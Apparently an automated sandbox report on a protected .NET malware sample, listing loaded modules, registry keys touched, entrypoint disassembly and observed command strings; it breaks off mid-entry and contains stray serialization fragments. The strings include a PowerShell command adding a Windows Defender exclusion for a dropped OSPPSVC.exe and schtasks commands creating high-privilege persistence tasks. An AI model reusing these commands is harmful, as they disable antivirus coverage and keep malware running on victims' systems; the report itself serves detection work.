"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base f80b0000 "AutoIt3_x64.exe" loaded module "RPCRT4.DLL" at base 241d0000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "AutoIt3_x64.exe" loaded module "OLE32.DLL" at base 24400000 "AutoIt3_x64.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 1fc90000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 23d80000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 21850000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 940000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "AutoIt3_x64.exe" loaded module "COMBASE.DLL" at base 23d80000 "AutoIt3_x64.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 23d80000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "AutoIt3_x64.exe" loaded module "NTDLL.DLL" at base 25300000 "AutoIt3_x64.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base f40000 "AutoIt3_x64.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base ff3c0000 "AutoIt3_x64.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base f3c60000 "AutoIt3_x64.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base f7630000 "AutoIt3_x64.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 100000 "AutoIt3_x64.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base f4d10000 "AutoIt3_x64.exe" loaded module "SHELL32.DLL" at base 227d0000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "AutoIt3_x64.exe" loaded module "BCRYPT.DLL" at base 21150000 "AutoIt3_x64.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 20a90000 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "AutoIt3_x64.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "AutoIt3_x64.exe" loaded module "SSPICLI.DLL" at base 2158000057:T67a,"a45e2d72a3718dd27e9b0703307a2e4a.exe" was detected as ".NET Reactor" and name: "Protector" "a45e2d72a3718dd27e9b0703307a2e4a.exe" was detected as ".NET" and name: "Library" "a45e2d72a3718dd27e9b0703307a2e4a.exe" was detected as "VB.NET" and name: "Compiler" "a45e2d72a3718dd27e9b0703307a2e4a.exe" was detected as "Microsoft Linker" and name: "Linker" "dllhost.exe" was detected as ".NET Reactor" and name: "Protector" "dllhost.exe" was detected as ".NET" and name: "Library" "dllhost.exe" was detected as "VB.NET" and name: "Compiler" "dllhost.exe" was detected as "Microsoft Linker" and name: "Linker" "RCX39E1.tmp" was detected as ".NET Reactor" and name: "Protector" "RCX39E1.tmp" was detected as ".NET" and name: "Library" "RCX39E1.tmp" was detected as "VB.NET" and name: "Compiler" "RCX39E1.tmp" was detected as "Microsoft Linker" and name: "Linker" "RCX2E95.tmp" was detected as ".NET Reactor" and name: "Protector" "RCX2E95.tmp" was detected as ".NET" and name: "Library" "RCX2E95.tmp" was detected as "VB.NET" and name: "Compiler" "RCX2E95.tmp" was detected as "Microsoft Linker" and name: "Linker" "RCX34CF.tmp" was detected as ".NET Reactor" and name: "Protector" "RCX34CF.tmp" was detected as ".NET" and name: "Library" "RCX34CF.tmp" was detected as "VB.NET" and name: "Compiler" "RCX34CF.tmp" was detected as "Microsoft Linker" and name: "Linker" "RCX27AE.tmp" was detected as ".NET Reactor" and name: "Protector" "RCX27AE.tmp" was detected as ".NET" and name: "Library" "RCX27AE.tmp" was detected as "VB.NET" and name: "Compiler" "RCX27AE.tmp" was detected as "Microsoft Linker" and name: "Linker"58:T1ca4,"a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "MMDeviceEnumerator class" (Path: "HKCU\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "DLNA Media Servers Data Source" (Path: "HKCU\CLSID\{289AF617-1CC3-42A6-926C-E6A863F0E3BA}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Portable Devices" (Path: "HKCU\CLSID\{35786D3C-B075-49B9-88DD-029876E11C01}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Enhanced Storage Data Source" (Path: "HKCU\CLSID\{9113A02D-00A3-46B9-BC5F-9C04DADDD5D7}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "delegate folder that appears in Computer" (Path: "HKCU\CLSID\{B155BDF8-02F0-451E-9A26-AE317CFD7779}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Recycle Bin" (Path: "HKCU\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Control Panel" (Path: "HKCU\CLSID\{26EE0668-A00A-44D7-9371-BEB064C98683}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "UsersLibraries" (Path: "HKCU\CLSID\{031E4825-7B94-4DC3-B131-E946B44C8DD5}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_SearchFolder" (Path: "HKCU\CLSID\{04731B67-D933-450A-90E6-4ACD2E9408FE}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Microsoft OneNote Namespace Extension for Windows Desktop Search" (Path: "HKCU\CLSID\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "IE History and Feeds Shell Data Source for Windows Search" (Path: "HKCU\CLSID\{11016101-E366-4D22-BC06-4ADA335C892B}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "@C:\Program Files (x86)\Microsoft Office\Office15\MAPISHELL.DLL,-110" (Path: "HKCU\CLSID\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Public Folder" (Path: "HKCU\CLSID\{4336A54D-038B-4685-AB02-99BB52D3FB8B}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Control Panel command object for Start menu and desktop" (Path: "HKCU\CLSID\{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "This Device" (Path: "HKCU\CLSID\{5B934B42-522B-4C34-BBFE-37A3EF7B9C90}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_AppInstanceFolder" (Path: "HKCU\CLSID\{64693913-1C21-4F30-A98F-4E52906D3B56}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "@%systemroot%\system32\mssvp.dll,-110" (Path: "HKCU\CLSID\{89D83576-6BD1-4C86-9454-BEB04E94C819}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "DXP" (Path: "HKCU\CLSID\{8FD8B88D-30E1-4F25-AC2B-553D3D65F0EA}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_SearchHome" (Path: "HKCU\CLSID\{9343812E-1C37-4A49-A12E-4B2D810D956B}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_StartMenuLauncherProviderFolder" (Path: "HKCU\CLSID\{98F275B4-4FFF-11E0-89E2-7B86DFD72085}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_StartMenuCommandingProviderFolder" (Path: "HKCU\CLSID\{A00EE528-EBD9-48B8-944A-8942113D46AC}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Other Users Folder" (Path: "HKCU\CLSID\{B4FB3F98-C1EA-428D-A78A-D1F5659CBA93}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "@%systemroot%\system32\mssvp.dll,-112" (Path: "HKCU\CLSID\{BD7A2E7B-21CB-41B2-A086-B309680C6B7E}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_StartMenuProviderFolder" (Path: "HKCU\CLSID\{DAF95313-E44D-46AF-BE1B-CBACEA2C3065}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "CLSID_StartMenuPathCompleteProviderFolder" (Path: "HKCU\CLSID\{E345F35F-9397-435C-8F95-4E922C26259E}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Games Explorer" (Path: "HKCU\CLSID\{ED228FDF-9EA8-4870-83B1-96B02CFE0D52}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "StreamBackedFolder" (Path: "HKCU\CLSID\{EDC978D6-4D53-4B2F-A265-5805674BE568}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Computers and Devices" (Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Removable Drives" (Path: "HKCU\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\SHELLFOLDER") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\INSTANCE") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Known Folder Manager" (Path: "HKCU\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "a45e2d72a3718dd27e9b0703307a2e4a.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}")59:T1b53,"a45e2d72a3718dd27e9b0703307a2e4a.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "dllhost.exe" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "RCX39E1.tmp" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "RCX2E95.tmp" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "RCX34CF.tmp" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "RCX27AE.tmp" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"5a:T81e,Observed system executable string:""%WINDIR%\Tasks\OSPPSVC.exe"" [Source: 00000000-00007792-00000BC1-56449462] Observed system executable string:"explorer.exe, "%PROGRAMFILES%\(x86)\Microsoft OneDrive\dllhost.exe", "%WINDIR%\Tasks\OSPPSVC.exe"" [Source: 00000000-00007792-00000BC1-56451467] Observed system executable string:"explorer.exe, "%PROGRAMFILES%\(x86)\Microsoft OneDrive\dllhost.exe", "%WINDIR%\Tasks\OSPPSVC.exe", "%PROGRAMFILES%\(x86)\MSB" [Source: 00000000-00007792-00000BC1-58876210], Observed system executable string:"%WINDIR%\Tasks\OSPPSVC.exe" [Source: 00000000-00007792-00000C25-63366549], Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00007792-00000BC1-73714005], Observed system executable string:"%WINDIR%\System32\cmd.exe.FriendlyAppName" [Source: 00000000-00007792-00000BC1-73928359], Observed system executable string:"%WINDIR%\System32\cmd.exe.ApplicationCompany" [Source: 00000000-00007792-00000BC1-73928890], Observed system executable string:""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\Tasks\OSPPSVC.exe'" [Source: 00000000-00007792-00000C41-57602118901], Observed system executable string:""%WINDIR%\System32\cmd.exe" /C "%TEMP%\rgVo7Q94jw.bat"" [Source: 00000000-00007792-00000C41-73160250907], Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001248-00000BC0-97188208], Observed system executable string:"%WINDIR%\System32\w32tm.exe" [Source: 00000000-00005324-00000BC0-82379788], Observed system executable string:"%WINDIR%\system32\w32tm.exe" [Source: 00000000-00005324-00000C41-18733446540], Observed system executable string:"/create /tn "OSPPSVCO" /sc MINUTE /mo 8 /tr "'%WINDIR%\Tasks\OSPPSVC.exe'" /f" [Source: schtasks.exe], Observed system executable string:"/create /tn "OSPPSVC" /sc ONLOGON /tr "'%WINDIR%\Tasks\OSPPSVC.exe'" /rl HIGHEST /f" [Source: schtasks.exe], Observed system executable string:"/create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'%WINDIR%\Tasks\OSPPSVC.exe'" /rl HIGHEST /f" [Source: schtasks.exe]5b:T13d7,Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll",0" [Source: OSPPSVC.exe.log] Observed system executable string:"3,"System.Drawing Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll",0" [Source: OSPPSVC.exe.log] Observed system executable string:"3,"System.Windows.Forms Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll",0" [Source: OSPPSVC.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll",0" [Source: OSPPSVC.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll",0" [Source: OSPPSVC.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll",0" [Source: OSPPSVC.exe.log] Observed system executable string:"3,"System.Management Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll",0" [Source: AutoIt3_x64.exe.log] Observed system executable string:"3,"System.Runtime.Serialization Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Runteb92aa12#\59a4984a6afe6b209eaaa379927ab81d\System.Runtime.Serialization.ni.dll",0" [Source: a45e2d72a3718dd27e9b0703307a2e4a.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00007792-00000C25-45521927] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00007792-00000C25-46031463] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00007792-00000C25-46212222] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007792-00000C25-46362008] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00007792-00000C25-46494863] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00007792-00000C25-46554883] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007792-00000C25-46799079] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00007792-00000C25-46994766] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00007792-00000C25-47067233] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00007792-00000C25-47276225] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00007792-00000C25-47570672] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\ece80f2e3752a779e894fd45d8f27e64\System.Drawing.ni.dll" [Source: 00000000-00007792-00000C25-47630043] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\b138f79dea860272ebe6694d9b73f656\System.Windows.Forms.ni.dll" [Source: 00000000-00007792-00000C25-47698176] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00007792-00000C25-47998327] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll" [Source: 00000000-00007792-00000C25-48045471] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00007792-00000C25-48104666] Observed system executable 